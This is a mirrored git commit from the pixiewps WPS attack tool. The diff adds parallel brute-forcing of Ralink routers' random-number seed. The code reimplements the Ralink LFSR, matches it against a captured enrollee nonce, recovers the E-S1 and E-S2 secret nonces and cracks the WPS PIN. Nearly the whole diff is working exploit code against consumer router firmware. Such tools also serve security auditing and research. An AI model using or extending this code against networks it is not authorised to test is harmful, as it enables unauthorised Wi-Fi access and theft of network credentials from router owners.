mirror of
https://github.com/wiire-a/pixiewps.git
synced 2025-07-26 23:35:03 +02:00
implement parallel cracking for ralink
since we already had realtek parallelized, let's do the same for ralink too. this commit is the result of a collaborative effort between @wiire-a and myself.
This commit is contained in:
parent
14ad43fa6d
commit
7db5fd84f9
151
src/pixiewps.c
151
src/pixiewps.c
@ -25,6 +25,7 @@
|
|||||||
#include <getopt.h>
|
#include <getopt.h>
|
||||||
#include <pthread.h>
|
#include <pthread.h>
|
||||||
#include <limits.h>
|
#include <limits.h>
|
||||||
|
#include <assert.h>
|
||||||
#include <stdarg.h> /* libtommath.c */
|
#include <stdarg.h> /* libtommath.c */
|
||||||
#if defined(_WIN32) || defined(__WIN32__)
|
#if defined(_WIN32) || defined(__WIN32__)
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
@ -77,24 +78,24 @@ static const struct option long_options[] = {
|
|||||||
{ 0, 0, 0, 0 }
|
{ 0, 0, 0, 0 }
|
||||||
};
|
};
|
||||||
|
|
||||||
#define SECS_PER_JOB_BLOCK 1000
|
#define SEEDS_PER_JOB_BLOCK 1000
|
||||||
|
|
||||||
struct crack_job {
|
struct crack_job {
|
||||||
pthread_t thr;
|
pthread_t thr;
|
||||||
time_t start;
|
uint32_t start;
|
||||||
};
|
};
|
||||||
|
|
||||||
static struct job_control {
|
static struct job_control {
|
||||||
int jobs;
|
int jobs;
|
||||||
time_t end;
|
int mode;
|
||||||
|
uint32_t end;
|
||||||
uint32_t randr_enonce[4];
|
uint32_t randr_enonce[4];
|
||||||
struct crack_job *crack_jobs;
|
struct crack_job *crack_jobs;
|
||||||
volatile uint32_t nonce_seed;
|
volatile uint32_t nonce_seed;
|
||||||
} job_control;
|
} job_control;
|
||||||
|
|
||||||
static void *crack_thread(void *arg) {
|
static void crack_thread_rtl(struct crack_job *j) {
|
||||||
struct glibc_lazyprng glibc_lazyprng;
|
struct glibc_lazyprng glibc_lazyprng;
|
||||||
struct crack_job *j = arg;
|
|
||||||
uint32_t seed = j->start;
|
uint32_t seed = j->start;
|
||||||
uint32_t limit = job_control.end;
|
uint32_t limit = job_control.end;
|
||||||
uint32_t tmp[4];
|
uint32_t tmp[4];
|
||||||
@ -113,14 +114,90 @@ static void *crack_thread(void *arg) {
|
|||||||
|
|
||||||
seed--;
|
seed--;
|
||||||
|
|
||||||
if (seed < j->start - SECS_PER_JOB_BLOCK) {
|
if (seed < j->start - SEEDS_PER_JOB_BLOCK) {
|
||||||
long long tmp = j->start - SECS_PER_JOB_BLOCK * job_control.jobs;
|
long long tmp = j->start - SEEDS_PER_JOB_BLOCK * job_control.jobs;
|
||||||
if (tmp < 0) break;
|
if (tmp < 0) break;
|
||||||
j->start = tmp;
|
j->start = tmp;
|
||||||
seed = j->start;
|
seed = j->start;
|
||||||
if (seed < limit) break;
|
if (seed < limit) break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
struct ralink_randstate {
|
||||||
|
uint32_t sreg;
|
||||||
|
};
|
||||||
|
|
||||||
|
static unsigned char ralink_randbyte(struct ralink_randstate *state) {
|
||||||
|
unsigned char r = 0, result;
|
||||||
|
|
||||||
|
if (state->sreg == 0)
|
||||||
|
state->sreg = 1;
|
||||||
|
|
||||||
|
for (int i = 0; i< 8; i++) {
|
||||||
|
if (state->sreg & 0x00000001) {
|
||||||
|
state->sreg = ((state->sreg ^ 0x80000057) >> 1) | 0x80000000;
|
||||||
|
result = 1;
|
||||||
|
} else {
|
||||||
|
state->sreg = state->sreg >> 1;
|
||||||
|
result = 0;
|
||||||
|
}
|
||||||
|
r = (r << 1) | result;
|
||||||
|
}
|
||||||
|
return r;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int crack_rt(uint32_t start, uint32_t end, uint32_t *result) {
|
||||||
|
uint32_t seed;
|
||||||
|
struct ralink_randstate prng;
|
||||||
|
unsigned char testnonce[16] = {0};
|
||||||
|
unsigned char *search_nonce = (void*) job_control.randr_enonce;
|
||||||
|
int i;
|
||||||
|
|
||||||
|
for (seed = start; seed < end; seed++) {
|
||||||
|
prng.sreg = seed;
|
||||||
|
testnonce[0] = ralink_randbyte(&prng);
|
||||||
|
if (testnonce[0] != search_nonce[0]) continue;
|
||||||
|
for (i = 1; i < 4; i++) testnonce[i] = ralink_randbyte(&prng);
|
||||||
|
if(memcmp(testnonce, search_nonce, 4)) continue;
|
||||||
|
for (i = 4; i < 16; i++) testnonce[i] = ralink_randbyte(&prng);
|
||||||
|
if(!memcmp(testnonce, search_nonce, 16)) {
|
||||||
|
*result = seed;
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void crack_thread_rt(struct crack_job *j) {
|
||||||
|
uint64_t tmp;
|
||||||
|
uint32_t start = j->start, end;
|
||||||
|
uint32_t res;
|
||||||
|
|
||||||
|
while (!job_control.nonce_seed) {
|
||||||
|
tmp = (uint64_t) start + (uint64_t) SEEDS_PER_JOB_BLOCK;
|
||||||
|
if (tmp > (uint64_t) job_control.end) tmp = job_control.end;
|
||||||
|
end = tmp;
|
||||||
|
|
||||||
|
if (crack_rt(start, end, &res)) {
|
||||||
|
job_control.nonce_seed = res;
|
||||||
|
DEBUG_PRINT("Seed found %u", (unsigned) res);
|
||||||
|
}
|
||||||
|
tmp = (uint64_t) start + (uint64_t) (SEEDS_PER_JOB_BLOCK * job_control.jobs);
|
||||||
|
if (tmp > (uint64_t) job_control.end) break;
|
||||||
|
start = tmp;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static void *crack_thread(void *arg) {
|
||||||
|
struct crack_job *j = arg;
|
||||||
|
|
||||||
|
if (job_control.mode == RTL819x)
|
||||||
|
crack_thread_rtl(j);
|
||||||
|
else if (job_control.mode == RT)
|
||||||
|
crack_thread_rt(j);
|
||||||
|
else
|
||||||
|
assert(0);
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
@ -144,13 +221,16 @@ static void setup_thread(int i) {
|
|||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
static void init_crack_jobs(struct global *wps) {
|
static void init_crack_jobs(struct global *wps, int mode) {
|
||||||
job_control.jobs = wps->jobs;
|
job_control.jobs = wps->jobs;
|
||||||
job_control.end = wps->end;
|
job_control.end = (mode == RTL819x) ? wps->end : 0xffffffffu;
|
||||||
|
job_control.mode = mode;
|
||||||
job_control.nonce_seed = 0;
|
job_control.nonce_seed = 0;
|
||||||
memset(job_control.randr_enonce, 0, sizeof(job_control.randr_enonce));
|
memset(job_control.randr_enonce, 0, sizeof(job_control.randr_enonce));
|
||||||
|
|
||||||
/* Converting enrollee nonce to the sequence may be generated by current random function */
|
/* Converting enrollee nonce to the sequence may be generated by current random function */
|
||||||
int i, j = 0;
|
int i, j = 0;
|
||||||
|
if(mode == RTL819x)
|
||||||
for (i = 0; i < 4; i++) {
|
for (i = 0; i < 4; i++) {
|
||||||
job_control.randr_enonce[i] |= wps->e_nonce[j++];
|
job_control.randr_enonce[i] |= wps->e_nonce[j++];
|
||||||
job_control.randr_enonce[i] <<= 8;
|
job_control.randr_enonce[i] <<= 8;
|
||||||
@ -160,12 +240,16 @@ static void init_crack_jobs(struct global *wps) {
|
|||||||
job_control.randr_enonce[i] <<= 8;
|
job_control.randr_enonce[i] <<= 8;
|
||||||
job_control.randr_enonce[i] |= wps->e_nonce[j++];
|
job_control.randr_enonce[i] |= wps->e_nonce[j++];
|
||||||
}
|
}
|
||||||
|
else
|
||||||
|
memcpy(job_control.randr_enonce, wps->e_nonce, 16);
|
||||||
|
|
||||||
job_control.crack_jobs = malloc(wps->jobs * sizeof (struct job_control));
|
job_control.crack_jobs = malloc(wps->jobs * sizeof (struct job_control));
|
||||||
time_t curr = wps->start;
|
uint32_t curr = (mode == RTL819x) ? wps->start : 0;
|
||||||
|
uint32_t add = (mode == RTL819x) ? -SEEDS_PER_JOB_BLOCK : SEEDS_PER_JOB_BLOCK;
|
||||||
for(i = 0; i < wps->jobs; i++) {
|
for(i = 0; i < wps->jobs; i++) {
|
||||||
job_control.crack_jobs[i].start = curr;
|
job_control.crack_jobs[i].start = curr;
|
||||||
setup_thread(i);
|
setup_thread(i);
|
||||||
curr -= SECS_PER_JOB_BLOCK;
|
curr += add;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -844,6 +928,42 @@ usage_err:
|
|||||||
goto memory_err;
|
goto memory_err;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (!found_p_mode) {
|
||||||
|
init_crack_jobs(wps, RT);
|
||||||
|
nonce_seed = collect_crack_jobs();
|
||||||
|
if (nonce_seed != 0) {
|
||||||
|
unsigned lfsr = bit_revert(nonce_seed);
|
||||||
|
int k = 8 * 32;
|
||||||
|
while (k--) {
|
||||||
|
unsigned int lsb_mask = ~(lfsr & 1) + 1;
|
||||||
|
lfsr ^= lsb_mask & 0xd4000003;
|
||||||
|
lfsr >>= 1;
|
||||||
|
lfsr |= lsb_mask & 0x80000000;
|
||||||
|
}
|
||||||
|
struct ralink_randstate prng;
|
||||||
|
prng.sreg = bit_revert(lfsr);
|
||||||
|
s1_seed = prng.sreg;
|
||||||
|
for (int i = 0; i < WPS_NONCE_LEN; i++)
|
||||||
|
wps->e_s1[i] = ralink_randbyte(&prng);
|
||||||
|
s2_seed = prng.sreg;
|
||||||
|
for (int i = 0; i < WPS_NONCE_LEN; i++)
|
||||||
|
wps->e_s2[i] = ralink_randbyte(&prng);
|
||||||
|
|
||||||
|
DEBUG_PRINT("Trying with E-S1: ");
|
||||||
|
DEBUG_PRINT_ARRAY(wps->e_s1, WPS_SECRET_NONCE_LEN);
|
||||||
|
DEBUG_PRINT("Trying with E-S2: ");
|
||||||
|
DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN);
|
||||||
|
|
||||||
|
r = crack(wps, pin);
|
||||||
|
if (r == PIN_FOUND) {
|
||||||
|
found_p_mode = RT;
|
||||||
|
DEBUG_PRINT("Pin found");
|
||||||
|
} else if (r == MEM_ERROR) {
|
||||||
|
goto memory_err;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
/* 2 */
|
/* 2 */
|
||||||
} else if (p_mode[k] == ECOS_SIMPLE && wps->e_nonce) {
|
} else if (p_mode[k] == ECOS_SIMPLE && wps->e_nonce) {
|
||||||
|
|
||||||
@ -866,7 +986,7 @@ usage_err:
|
|||||||
for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) /* Advance to get E-S2 */
|
for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) /* Advance to get E-S2 */
|
||||||
wps->e_s2[i] = (uint8_t) (ecos_rand_simple(&seed) & 0xff);
|
wps->e_s2[i] = (uint8_t) (ecos_rand_simple(&seed) & 0xff);
|
||||||
|
|
||||||
DEBUG_PRINT("Seed found");
|
DEBUG_PRINT("Seed found %u", nonce_seed);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
index++;
|
index++;
|
||||||
@ -924,7 +1044,7 @@ usage_err:
|
|||||||
if (!(wps->e_nonce[0] & 0x80) && !(wps->e_nonce[4] & 0x80) &&
|
if (!(wps->e_nonce[0] & 0x80) && !(wps->e_nonce[4] & 0x80) &&
|
||||||
!(wps->e_nonce[8] & 0x80) && !(wps->e_nonce[12] & 0x80)) {
|
!(wps->e_nonce[8] & 0x80) && !(wps->e_nonce[12] & 0x80)) {
|
||||||
|
|
||||||
init_crack_jobs(wps);
|
init_crack_jobs(wps, RTL819x);
|
||||||
|
|
||||||
#if DEBUG
|
#if DEBUG
|
||||||
{
|
{
|
||||||
@ -1182,6 +1302,11 @@ usage_err:
|
|||||||
|
|
||||||
printf("\n [*] Seed N1: %u", nonce_seed);
|
printf("\n [*] Seed N1: %u", nonce_seed);
|
||||||
}
|
}
|
||||||
|
if (found_p_mode == RT && s1_seed && s2_seed) {
|
||||||
|
printf("\n [*] Seed N1: 0x%08x", nonce_seed);
|
||||||
|
printf("\n [*] Seed ES1: 0x%08x", s1_seed);
|
||||||
|
printf("\n [*] Seed ES2: 0x%08x", s2_seed);
|
||||||
|
}
|
||||||
if (found_p_mode == RTL819x && nonce_seed) {
|
if (found_p_mode == RTL819x && nonce_seed) {
|
||||||
time_t seed_time;
|
time_t seed_time;
|
||||||
struct tm ts;
|
struct tm ts;
|
||||||
|
12
src/utils.h
12
src/utils.h
@ -122,6 +122,18 @@ int get_int(char *in, int *out) {
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
unsigned int bit_revert(unsigned int v) {
|
||||||
|
int i;
|
||||||
|
unsigned int lsb, n = 0;
|
||||||
|
for (i = 0; i < sizeof(unsigned int) * 8; i++) {
|
||||||
|
lsb = v & 1;
|
||||||
|
v >>= 1;
|
||||||
|
n <<= 1;
|
||||||
|
n |= lsb;
|
||||||
|
}
|
||||||
|
return n;
|
||||||
|
}
|
||||||
|
|
||||||
/* Custom timegm function made by Eric S Raymond */
|
/* Custom timegm function made by Eric S Raymond */
|
||||||
time_t c_timegm(register struct tm *t) {
|
time_t c_timegm(register struct tm *t) {
|
||||||
register long year;
|
register long year;
|
||||||
|
Loading…
x
Reference in New Issue
Block a user